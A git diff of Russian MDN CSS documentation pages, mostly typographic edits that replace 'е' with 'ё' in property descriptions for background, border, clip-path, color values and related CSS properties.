      diff --git a/files/ru/web/css/backface-visibility/index.html b/files/ru/web/css/backface-visibility/index.html index f6bf261e3b..870c9de709 100644 --- a/files/ru/web/css/backface-visibility/index.html +++ b/files/ru/web/css/backface-visibility/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/backface-visibility ---
      {{CSSRef}}{{SeeCompatTable}}
      -

      Свойство backface-visibility определяет, видно ли заднюю грань элемента, когда он повернут к пользователю.

      +

      Свойство backface-visibility определяет, видно ли заднюю грань элемента, когда он повёрнут к пользователю.

      {{EmbedInteractiveExample("pages/css/backface-visibility.html")}}
      @@ -30,9 +30,9 @@ backface-visibility: unset;
      visible
      -
      Задняя сторона видна, когда повернута к пользователю.
      +
      Задняя сторона видна, когда повёрнута к пользователю.
      hidden
      -
      Задняя поверхность скрыта, что делает элемент невидимым, когда он повернутый от пользователя.
      +
      Задняя поверхность скрыта, что делает элемент невидимым, когда он повёрнутый от пользователя.

      Официальный синтаксис

      diff --git a/files/ru/web/css/background-attachment/index.html b/files/ru/web/css/background-attachment/index.html index c88a2fc71d..d16e4fe743 100644 --- a/files/ru/web/css/background-attachment/index.html +++ b/files/ru/web/css/background-attachment/index.html @@ -28,7 +28,7 @@ background-attachment: inherit; background-attachment: initial; background-attachment: unset;
      -

      Значение свойства background-attachment задается одним из ключевых значений из списка ниже.

      +

      Значение свойства background-attachment задаётся одним из ключевых значений из списка ниже.

      Значения

      @@ -38,7 +38,7 @@ background-attachment: unset;
      local
      Фон фиксируется относительно содержимого элемента. Если элемент имеет механизм прокрутки, фон прокручивается с содержимым элемента, и область рисования фона и область позиционирования фона относятся к прокручиваемой области элемента, а не к границе, обрамляющей их.
      scroll
      -
      Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплен к границе элемента.)
      +
      Фон фиксируется относительно самого элемента и не прокручивается с его содержимым. (Он фактически прикреплён к границе элемента.)

      Формальный синтаксис

      @@ -72,7 +72,7 @@ background-attachment: unset;

      Поддержка нескольких фоновых изображений

      -

      Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <attachment> для каждого фона, разделенных запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.

      +

      Это свойство поддерживает несколько фоновых изображений. Вы можете указать разные <attachment> для каждого фона, разделённых запятыми. Каждое изображение сопоставляется с соответствующим типом вложения, от первого указанного до последнего.

      HTML

      @@ -118,7 +118,7 @@ background-attachment: unset; - + diff --git a/files/ru/web/css/background-blend-mode/index.html b/files/ru/web/css/background-blend-mode/index.html index e55a99aa83..405a76ed14 100644 --- a/files/ru/web/css/background-blend-mode/index.html +++ b/files/ru/web/css/background-blend-mode/index.html @@ -29,7 +29,7 @@ background-blend-mode: unset;
      <blend-mode>
      -
      {{cssxref("<blend-mode>")}} обозначающий режим наложения, который применен. Может быть несколько значений, разделенных запятыми.
      +
      {{cssxref("<blend-mode>")}} обозначающий режим наложения, который применён. Может быть несколько значений, разделённых запятыми.

      Пример

      diff --git a/files/ru/web/css/background-clip/index.html b/files/ru/web/css/background-clip/index.html index ddc05598eb..7c7f5bc3dc 100644 --- a/files/ru/web/css/background-clip/index.html +++ b/files/ru/web/css/background-clip/index.html @@ -112,7 +112,7 @@ background-clip: unset;

      Смотрите также

        -
      • Свойство {{cssxref("clip-path")}} создает область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.
      • +
      • Свойство {{cssxref("clip-path")}} создаёт область отсечения, которая определяет, которая определяет, какая часть целого элемента должна отображаться.
      • Свойства фона: {{cssxref("background")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}
      • Введение в блочную модель CSS
      diff --git a/files/ru/web/css/background-image/index.html b/files/ru/web/css/background-image/index.html index 095ff8ee1e..cdcf7b8c79 100644 --- a/files/ru/web/css/background-image/index.html +++ b/files/ru/web/css/background-image/index.html @@ -14,9 +14,9 @@ translation_of: Web/CSS/background-image

      Свойство CSS  background-image устанавливает одно или несколько фоновых изображений для элемента. Изображения рисуются в слоях контекстов наложения одно поверх другого. Первый слой выводится так, чтобы он был ближе всего к пользователю.

      -

      Границы {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и ее границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.

      +

      Границы {{cssxref("border")}} элемента затем рисуются поверх них, и {{cssxref("background-color")}} рисуется под ними. То, как изображения отрисовываются относительно рамки и её границ, определяется CSS свойствами {{cssxref("background-clip")}} и {{cssxref("background-origin")}}.

      -

      Если указанное изображение не может быть нарисовано (например, когда файл, определенный указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением none.

      +

      Если указанное изображение не может быть нарисовано (например, когда файл, определённый указанным URI, не может быть загружен), браузеры обрабатывают его так, как если бы оно было значением none.

      Обратите внимание: Даже, если изображение непрозрачно и цвет не будет показан при нормальных обстоятельствах, веб-разработчику следует всегда указывать атрибут {{cssxref("background-color")}}. Если изображение не может быть загружено —например, в случае отказа сетевого подключения — у элемента будет отображён цветной фон.
      @@ -36,7 +36,7 @@ background-image: inherit;
      none
      Это ключевое слово обозначает отсутствие изображений.
      <image>
      -
      {{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделенных запятыми, поскольку поддерживается несколько фонов.
      +
      {{cssxref("<image>")}} обозначает изображение для отображения. Их может быть несколько, разделённых запятыми, поскольку поддерживается несколько фонов.

      Официальный синтаксис

      diff --git a/files/ru/web/css/background-position-x/index.html b/files/ru/web/css/background-position-x/index.html index 3aaa1af51e..ffebd13721 100644 --- a/files/ru/web/css/background-position-x/index.html +++ b/files/ru/web/css/background-position-x/index.html @@ -11,7 +11,7 @@ translation_of: Web/CSS/background-position-x -

      Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} примененными после его объявления.

      +

      Значение этого свойства отменяется любой декларацией {{cssxref("background")}} или коротким свойством {{cssxref("background-position")}} применёнными после его объявления.

      Синтаксис

      @@ -41,7 +41,7 @@ background-position-x: initial; background-position-x: unset; -

      Свойство background-position-x принимает одно или несколько значений, разделенных запятыми.

      +

      Свойство background-position-x принимает одно или несколько значений, разделённых запятыми.

      Значения

      diff --git a/files/ru/web/css/background-position/index.html b/files/ru/web/css/background-position/index.html index dcd216c010..97620ff7d2 100644 --- a/files/ru/web/css/background-position/index.html +++ b/files/ru/web/css/background-position/index.html @@ -43,7 +43,7 @@ background-position: initial; background-position: unset; -

      Свойство background-position указывается в виде одного или нескольких значений <position>, разделенных запятыми.

      +

      Свойство background-position указывается в виде одного или нескольких значений <position>, разделённых запятыми.

      Значения

      @@ -83,7 +83,7 @@ background-position: unset;

      Примеры

      -

      Каждый из этих примеров использует свойство {{cssxref("background")}} для создания желтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.

      +

      Каждый из этих примеров использует свойство {{cssxref("background")}} для создания жёлтого, прямоугольного элемента, содержащего изображение звезды. В каждом примере, звезда находится в другой позиции. Третий пример иллюстрирует, как указать позиции для разных фоновых изображений в одном элементе.

      HTML

      @@ -102,7 +102,7 @@ div { margin-bottom: 12px; } -/* В этих примерах используется сокращенное свойство 'background' */ +/* В этих примерах используется сокращённое свойство 'background' */ .exampleone { background: url("https://mdn.mozillademos.org/files/11987/startransparent.gif") #FFEE99 2.5cm bottom no-repeat; } diff --git a/files/ru/web/css/background-repeat/index.html b/files/ru/web/css/background-repeat/index.html index 76eb8e36a1..ad4d0bffd0 100644 --- a/files/ru/web/css/background-repeat/index.html +++ b/files/ru/web/css/background-repeat/index.html @@ -177,7 +177,7 @@ div { - + diff --git a/files/ru/web/css/background-size/index.html b/files/ru/web/css/background-size/index.html index f93b74acd7..71c948b9e4 100644 --- a/files/ru/web/css/background-size/index.html +++ b/files/ru/web/css/background-size/index.html @@ -9,7 +9,7 @@ translation_of: Web/CSS/background-size

      Значение background-size в CSS позволяет задавать размер фонового изображения. Изображение может быть оставлено в исходном размере, растянуто, или подогнано под размеры доступного пространства.

      -
      Предупреждение: Если значение этого свойства не задано в сокращенном свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства background-size, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращенного свойства.
      +
      Предупреждение: Если значение этого свойства не задано в сокращённом свойстве {{cssxref("background")}}, которое применяется к элементу после CSS свойства background-size, то значение этого свойства затем сбрасывается до исходного значения c помощью сокращённого свойства.

      {{cssinfo}}

      @@ -68,7 +68,7 @@ background-size: unset;

      Фоновые изображения, сгенерированные из элементов с использованием {{cssxref("-moz-element")}} (которые фактически соответствуют элементу) в настоящее время обрабатываются как изображения с размерами элемента, или как область расположения фона, если элементом является SVG, с соответствующей внутренней пропорцией.

      -
      Предупреждение: Это не определенное в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.
      +
      Предупреждение: Это не определённое в настоящее время поведение, которое заключается в том, что внутренние размеры и пропорция должны быть такими же как у элемента во всех случаях.

      Визуализированный размер фонового изображения затем вычисляется следующим способом:

      @@ -76,14 +76,14 @@ background-size: unset;
      Если оба атрибута в background-size заданы и различны от auto:
      Фоновое изображение отображается в указанном размере.
      Если background-size содержит contain или cover:
      -
      Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает ее. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.
      +
      Изображение визуализируется с сохранением его внутренней пропорции при наибольшем размере, который содержится внутри области размещения фона или покрывает её. Если изображение не имеет внутренней пропорции, оно отображается с размером области расположения фона.
      Если background-size установлен как auto или auto auto:
      -
      Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан contain. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определенным этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.
      +
      Если изображение имеет оба внутренних размера, оно отображается с таким размером. Если оно не имеет внутренних размеров и внутренней пропорции, оно отображается с размером области расположения фона. Если оно не имеет размеров, но имеет пропорцию, оно отображается так, если был был бы указан contain. Если изображение имеет один внутренний размер и пропорцию, оно отображается с размером, определённым этим одним размером и пропорцией. Если изображение имеет один внутренний размер, но не имеет пропорцию, оно отображается с использованием внутреннего размера и соответствующим размером области позиционирования фона.
      Если background-size содержит один атрибут auto и один не-auto:
      Если изображение имеет внутреннюю пропорцию, то визуализируйте его используя указанный размер, и вычислите другой размер из указанного размера и внутренней пропорции. Если изображение не имеет внутренней пропорции, используйте указанный размер для этого размера. Для другого размера, используйте соответствующее внутреннее измерение изображения, если оно есть. Если такого внутреннего размера нет, используйте соответствующий размер области расположения фона.
      -

      Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, еще не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.

      +

      Обратите внимание, что изменение размера фона для векторных изображений, в которых отсутствуют внутренние размеры или пропорции, ещё не полностью реализовано во всех браузерах. Будьте осторожны, полагаясь на поведение, описанное выше, и тестируйте в нескольких браузерах (в частности, включая версии Firefox 7 или более ранней версии и Firefox 8 или более поздней версии), чтобы убедиться, что различные визуализации приемлемы.

      Формальный синтаксис

      @@ -95,7 +95,7 @@ background-size: unset;

      Замечания

      -

      Если вы указываете градиент в качестве фона и указали background-size, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задается с использованием только значения ширины (для примера, background-size: 50%). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с CSS3 спецификацией background-size и с CSS3 спецификацией градиента значений изображения.

      +

      Если вы указываете градиент в качестве фона и указали background-size, который будет использоваться вместе с ним, лучше не указывать размер, который использует единственную автоматическую составную часть, или задаётся с использованием только значения ширины (для примера, background-size: 50%). Рендеринг градиентов в таких случаях изменился в Firefox 8, и в настоящее время он обычно несовместим во всех браузерах, которые не реализуют рендеринг в соответствии с CSS3 спецификацией background-size и с CSS3 спецификацией градиента значений изображения.

      .bar {
              width: 50px; height: 100px;
      diff --git a/files/ru/web/css/background/index.html b/files/ru/web/css/background/index.html
      index 7b39d9589c..fafdb12cc3 100644
      --- a/files/ru/web/css/background/index.html
      +++ b/files/ru/web/css/background/index.html
      @@ -5,7 +5,7 @@ translation_of: Web/CSS/background
       ---
       
      {{CSSRef("CSS Background")}}
      -
      Сокращенное CSS свойство background  устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.
      +
      Сокращённое CSS свойство background  устанавливает сразу все свойства стиля фона, такие как цвет, изображение, источник и размер, или метод повтора.
      @@ -15,7 +15,7 @@ translation_of: Web/CSS/background

      Свойство является сокращением, которое устанавливает следующие свойства в одном объявлении: {{cssxref("background-clip")}}, {{cssxref("background-color")}}, {{cssxref("background-image")}}, {{cssxref("background-origin")}}, {{cssxref("background-position")}}, {{cssxref("background-repeat")}}, {{cssxref("background-size")}}, и {{cssxref("background-attachment")}}.

      -

      Как и во всех сокращенных свойствах, любые пропущенные вложенные значения будут установлены в свои изначальные значения.

      +

      Как и во всех сокращённых свойствах, любые пропущенные вложенные значения будут установлены в свои изначальные значения.

      @@ -54,7 +54,7 @@ background: no-repeat center/80% url("../img/image.png");
      <repeat-style>
      Смотри {{cssxref("background-repeat")}}
      <bg-size>
      -
      Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <position>, разделенного символом '/'.
      +
      Смотри {{cssxref("background-size")}}. Это свойство должно быть указано после <position>, разделённого символом '/'.

      Формальный синтаксис

      diff --git a/files/ru/web/css/block-size/index.html b/files/ru/web/css/block-size/index.html index 413705bb6d..c7d9f6ada4 100644 --- a/files/ru/web/css/block-size/index.html +++ b/files/ru/web/css/block-size/index.html @@ -13,7 +13,7 @@ translation_of: Web/CSS/block-size ---
      {{CSSRef}}{{SeeCompatTable}}
      -

      Свойство block-size CSS задает горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.

      +

      Свойство block-size CSS задаёт горизонтальный и вертикальный размер блока элемента, в зависимости от режима его записи (writing mode). Оно соответствует свойствам {{cssxref("width")}} и {{cssxref("height")}} и зависит от значения свойства {{cssxref("writing-mode")}}.

      /* <length> values */
       block-size: 300px;
      @@ -37,7 +37,7 @@ block-size: initial;
       block-size: unset;
       
      -

      Если режим записи (writing mode) ориентирован по вертикали, то значение block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задает другое измерение элемента.

      +

      Если режим записи (writing mode) ориентирован по вертикали, то значение block-size относится к ширине элемента; в противном случае это относится к высоте элемента. С данным свойством связано свойство {{cssxref("inline-size")}}, которое задаёт другое измерение элемента.

      {{cssinfo}}

      @@ -92,7 +92,7 @@ block-size: unset;

      Совместимость с браузерами

      - +

      {{Compat("css.properties.block-size")}}

      diff --git a/files/ru/web/css/border-image-slice/index.html b/files/ru/web/css/border-image-slice/index.html index 9841ac6e97..4a7890a181 100644 --- a/files/ru/web/css/border-image-slice/index.html +++ b/files/ru/web/css/border-image-slice/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-image-slice

      Описание

      -

      CSS свойство border-image-slice  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путем указания 4 внутренних смещений.

      +

      CSS свойство border-image-slice  делит изображение указанное в {{cssxref("border-image-source")}} на девять областей: четыре угла, четыре края и середину. Это происходит путём указания 4 внутренних смещений.

      The nine slices defined by the CSS border-image shorthand or border-image-slice longhand propertiesЧетыре значения управляют положением линий среза. If some are not specified, they are inferred from the other with the usual 4-value syntax of CSS.

      diff --git a/files/ru/web/css/border-radius/index.html b/files/ru/web/css/border-radius/index.html index 3a597a4b3b..d08dd0e681 100644 --- a/files/ru/web/css/border-radius/index.html +++ b/files/ru/web/css/border-radius/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/border-radius ---
      {{CSSRef}}
      -

      border-radius — это CSS-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закругленность каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.

      +

      border-radius — это CSS-свойство, позволяющее разработчикам определять, как скругляются границы блока. Закруглённость каждого угла определяется с помощью одного или двух радиусов, определяя его форму: круг или эллипс.

      {{EmbedInteractiveExample("pages/css/border-radius.html")}}
      @@ -22,7 +22,7 @@ translation_of: Web/CSS/border-radius

      Свойство border-radius не применяется к элементам таблицы, когда свойство {{Cssxref ("border-collapse")}} имеет значение collapse.

      -
      Замечание: Как и с любым другим сокращенным свойством, отдельные подсвойства не могут наследоваться. Например, как в border-radius:0 0 inherit inherit, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.
      +
      Замечание: Как и с любым другим сокращённым свойством, отдельные подсвойства не могут наследоваться. Например, как в border-radius:0 0 inherit inherit, что будет частично переопределять существующие определения. Вместо этого должны использоваться отдельные длинные свойства.

      Синтаксис

      @@ -39,7 +39,7 @@ border-radius: 2px 4px 2px; /* top-left | top-right | bottom-right | bottom-left */ border-radius: 1px 0 3px 4px; -/* Синтаксис из двух радиусов также может применяться ко всем четырем углам */ +/* Синтаксис из двух радиусов также может применяться ко всем четырём углам */ /* (первые значения радиуса) /радиус */ border-radius: 10px 5% / 20px; diff --git a/files/ru/web/css/border-width/index.html b/files/ru/web/css/border-width/index.html index 05b2360748..19fe6770ab 100644 --- a/files/ru/web/css/border-width/index.html +++ b/files/ru/web/css/border-width/index.html @@ -7,7 +7,7 @@ translation_of: Web/CSS/border-width

      Summary

      -

      CSS свойство {{cssxref("border-width")}} определяет ширину рамки элемента. Но обычно ее задают не отдельно, а в составе свойства {{cssxref("border")}}.

      +

      CSS свойство {{cssxref("border-width")}} определяет ширину рамки элемента. Но обычно её задают не отдельно, а в составе свойства {{cssxref("border")}}.

      {{cssinfo}}

      diff --git a/files/ru/web/css/border/index.html b/files/ru/web/css/border/index.html index 6ae7e6460b..93ce8b8020 100644 --- a/files/ru/web/css/border/index.html +++ b/files/ru/web/css/border/index.html @@ -25,7 +25,7 @@ border: medium dashed green;

       

      -

      Замечание: Рекомендуется использовать border, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырех значений, позволяя установить различные значения для каждого ребра, border принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырех границ.

      +

      Замечание: Рекомендуется использовать border, когда вы хотите установить все свойства границ одновременно. Тогда как универсальные свойства {{Cssxref("border-width")}}, {{Cssxref("border-style")}}, и {{Cssxref("border-color")}}  принимают до четырёх значений, позволяя установить различные значения для каждого ребра, border принимает единственное значение для каждого свойства. И этот стиль применяется для всех четырёх границ.

      Синтаксис

      diff --git a/files/ru/web/css/bottom/index.html b/files/ru/web/css/bottom/index.html index c0190058df..5ecde8ca47 100644 --- a/files/ru/web/css/bottom/index.html +++ b/files/ru/web/css/bottom/index.html @@ -150,7 +150,7 @@ div {

      Совместимость с браузером

      - +

      {{Compat("css.properties.bottom")}}

      diff --git a/files/ru/web/css/box-shadow/index.html b/files/ru/web/css/box-shadow/index.html index b50dded28d..3366118622 100644 --- a/files/ru/web/css/box-shadow/index.html +++ b/files/ru/web/css/box-shadow/index.html @@ -53,7 +53,7 @@ box-shadow: unset;
      • Если задано только два значения, они интерпретируется как <offset-x><offset-y> values.
      • Если задано третье значение, оно понимается как <blur-radius>.
      • -
      • Если задано четвертое значение, оно интерпретируется <spread-radius>.
      • +
      • Если задано четвёртое значение, оно интерпретируется <spread-radius>.
    • Дополнительно, можно задать ключевое слово inset.
    • diff --git a/files/ru/web/css/box-sizing/index.html b/files/ru/web/css/box-sizing/index.html index f0d5760e9e..72dda8d87a 100644 --- a/files/ru/web/css/box-sizing/index.html +++ b/files/ru/web/css/box-sizing/index.html @@ -38,7 +38,7 @@ translation_of: Web/CSS/box-sizing
      content-box
      -
      Это значение по умолчанию, определенное в CSS стандарте. Свойства width и height включают исключительно контент, и не включают padding и border. Например .box {width: 350px; border: 10px solid black;}  будет иметь ширину 370 пикселей.
      +
      Это значение по умолчанию, определённое в CSS стандарте. Свойства width и height включают исключительно контент, и не включают padding и border. Например .box {width: 350px; border: 10px solid black;}  будет иметь ширину 370 пикселей.
      Размеры элемента рассчитываются следующим образом: width = ширина контента, и height = высота контента. (Границы и внутренние отступы не включаются в вычисление.)
      diff --git a/files/ru/web/css/calc()/index.html b/files/ru/web/css/calc()/index.html index 5dd08d22f0..550760de0a 100644 --- a/files/ru/web/css/calc()/index.html +++ b/files/ru/web/css/calc()/index.html @@ -44,7 +44,7 @@ translation_of: Web/CSS/calc()

      Позиционирование объекта в окне с помощью отступа

      -

      calc() делает простым позиционирование объекта с помощью отступа. В этом примере создается баннер занимающий в ширину все окно с отступами по краям в 40px. 

      +

      calc() делает простым позиционирование объекта с помощью отступа. В этом примере создаётся баннер занимающий в ширину все окно с отступами по краям в 40px. 

      .banner {
         position: absolute;
      diff --git a/files/ru/web/css/class_selectors/index.html b/files/ru/web/css/class_selectors/index.html
      index 714ac4588e..99c15c63d6 100644
      --- a/files/ru/web/css/class_selectors/index.html
      +++ b/files/ru/web/css/class_selectors/index.html
      @@ -7,7 +7,7 @@ translation_of: Web/CSS/Class_selectors
       
       

      Краткое описание

      -

      В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделенный пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведенному в селекторе.

      +

      В HTML документе, селекторы по CSS классу находят элементы с нужным классом. Атрибут класса определяется как разделённый пробелами список элементов, и один из этих пунктов должен точно соответствовать имени класса, приведённому в селекторе.

      Синтаксис

      diff --git a/files/ru/web/css/clear/index.html b/files/ru/web/css/clear/index.html index 241ee74c7a..146132dfe3 100644 --- a/files/ru/web/css/clear/index.html +++ b/files/ru/web/css/clear/index.html @@ -21,7 +21,7 @@ translation_of: Web/CSS/clear

      Поплавки, которые имеют отношение к очистке, - это более ранние поплавки в одном и том же контексте форматирования блоков

      -

      Заметка: Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется clearfix, и один из способов сделать это - это заменит clear замененный {{cssxref("::after")}} псевдоэлемент на нем.

      +

      Заметка: Если элемент содержит только плавающие элементы, его высота сворачивается в ничто. Если вы хотите, чтобы он всегда мог изменять размер, чтобы он содержал в себе плавающие элементы, вам нужно самоочистить своих детей. Это называется clearfix, и один из способов сделать это - это заменит clear заменённый {{cssxref("::after")}} псевдоэлемент на нем.

      #container::after {
         content: "";
      @@ -224,7 +224,7 @@ p {
       
       

      Совместимость с браузером

      - +

      {{Compat("css.properties.clear")}}

      diff --git a/files/ru/web/css/clip-path/index.html b/files/ru/web/css/clip-path/index.html index 69fe7f99ed..55a8b1259a 100644 --- a/files/ru/web/css/clip-path/index.html +++ b/files/ru/web/css/clip-path/index.html @@ -5,7 +5,7 @@ translation_of: Web/CSS/clip-path ---
      {{CSSRef}}{{SeeCompatTable}}
      -

      CSS свойство clip-path создает ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (circle()).

      +

      CSS свойство clip-path создаёт ограниченную область, которая определяет какая часть элемента должна быть видимой. Те части, которые находятся внутри области, видимы, в то время как части вне области, скрыты. Обрезанная область - это траектория, определяемая либо как внутренняя ссылка, либо как внешний SVG , либо как фигура, такая как круг (circle()).

      Историческая справка: Свойство clip-path заменило устаревшее свойство {{cssxref("clip")}} .

      @@ -456,14 +456,14 @@ svg text.em {
      inset(), circle(), ellipse(), polygon()
      Функция {{cssxref("<basic-shape>")}}. Размер и положение области определяется значением <geometry-box>. Если геометрия не определена,border-box будет использоваться в качестве блока.
      <geometry-box>
      -
      Если определен в комбинации с <basic-shape>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений: +
      Если определён в комбинации с <basic-shape>, это значение определяет блок для базовой области. Если задан самостоятельно, определяет границы блока, включая формирование углов (такое как {{cssxref("border-radius")}}). Геометрия может быть определена с помощью одного из следующих значений:
      fill-box
      Использует границы объекта в качестве базовой области.
      stroke-box
      Использует stroke bounding box в качестве базовой области.
      view-box
      -
      Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определен для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом viewBox и ширина и высота базового блока устанавливаются равными значениям атрибута viewBox.​​​​​​​
      +
      Использует ближайший SVG viewport в качестве базового блока. Если атрибут {{SVGAttr("viewBox")}} определён для элемента, создающего SVG viewport, базовый блок позиционируется в оригинальной системе координат, установленной атрибутом viewBox и ширина и высота базового блока устанавливаются равными значениям атрибута viewBox.​​​​​​​
      margin-box
      Использует margin box в качестве базового блока.
      border-box
      diff --git a/files/ru/web/css/color_value/index.html b/files/ru/web/css/color_value/index.html index 08edbe380a..9af9b77755 100644 --- a/files/ru/web/css/color_value/index.html +++ b/files/ru/web/css/color_value/index.html @@ -10,7 +10,7 @@ translation_of: Web/CSS/color_value

      В <color> может быть определена любым из следующих способов can.

        -
      • Использование или подключенного свойства веденного в параметр (например, blue или transparent)
      • +
      • Использование или подключённого свойства ведённого в параметр (например, blue или transparent)
      • Использование кубической системы координат RGB (via the #-hexadecimal or the rgb() and rgba() functional notations)Цветовая модель представлена виде куба
      • Использование цилиндрической системы координат HSL (через функциональные обозначения hsl() и hsla()
      @@ -21,7 +21,7 @@ translation_of: Web/CSS/color_value

      Синтаксис 

      -

      Для типа данных задается <color>  с помощью одного из следующих параметров.

      +

      Для типа данных задаётся <color>  с помощью одного из следующих параметров.

      Заметка: значения <color> точно определены, их фактический внешний вид может отличаться (иногда значительно) от устройства к устройству. Это связано с тем что большинство устройств не откалиброваны, а некоторые браузеры не поддерживают цветовые профили устройств вывода.

      @@ -29,12 +29,12 @@ translation_of: Web/CSS/color_value

      Ключевые цвета

      -

      Ключевые слова для цвета - это идентификаторы без учета регистра, представляющие определенный цвет, например red, blue, black или lightseagreen. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. 

      +

      Ключевые слова для цвета - это идентификаторы без учёта регистра, представляющие определённый цвет, например red, blue, black или lightseagreen. Хотя названия более или менее описывают их соответствующие цвета, они по существу искусственны, без строгого обоснования используемых имен. 

      Есть несколько предостережений, которые следует учитывать при использовании ключевых слов цвета:

        -
      • HTML распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определенный алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и SVG.
      • +
      • HTML распознает только 16 основных цветовых ключевых слов, найденных в CSS1, используя определённый алгоритм для преобразования нераспознанных значений (часто в совершенно разные цвета). Другие ключевые слова цвета должны использоваться только в CSS и SVG.
      • В отличие от HTML, CSS будет полностью игнорировать неизвестные ключевые слова.
      • Ключевые слова цвета все представляют собой простые, сплошные цвета, без прозрачности.
      • Несколько ключевых слов являются псевдонимами друг для друга: @@ -977,11 +977,11 @@ translation_of: Web/CSS/color_value

        Ключевое слово transparent представляет собой полностью прозрачный цвет. Это делает фон позади цветного элемента полностью видимым. Технически transparent - это ярлык для rgba (0,0,0,0).

        -

        Примечание по совместимости: чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что transparent должен быть вычислен в Альфа-предварительно умноженном цветовом пространстве. Однако имейте в виду, что старые браузеры могут рассматривать его как черный с Альфа-значением 0.

        +

        Примечание по совместимости: чтобы предотвратить непредвиденное поведение, например, в {{cssxref ("градиент")}}, текущая спецификация CSS утверждает, что transparent должен быть вычислен в Альфа-предварительно умноженном цветовом пространстве. Однако имейте в виду, что старые браузеры могут рассматривать его как чёрный с Альфа-значением 0.

        -

        Историческая запись: transparent не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <color> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, transparent был переопределен как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <color>.

        +

        Историческая запись: transparent не был истинным цветом на уровне CSS 2 (Редакция 1). Это было специальное ключевое слово, которое можно было использовать вместо обычного значения <color> для двух свойств CSS: {{Cssxref("background")}} и {{Cssxref("border")}}. Он был существенно добавлен, чтобы позволить разработчикам переопределить унаследованный сплошной цвет. С появлением Альфа-каналов в CSS Colors Level 3, transparent был переопределён как истинный цвет. Теперь его можно использовать везде, где можно использовать значение <color>.

        currentColor ключевое слово

        @@ -1002,7 +1002,7 @@ translation_of: Web/CSS/color_value

        RGB цвет

        -

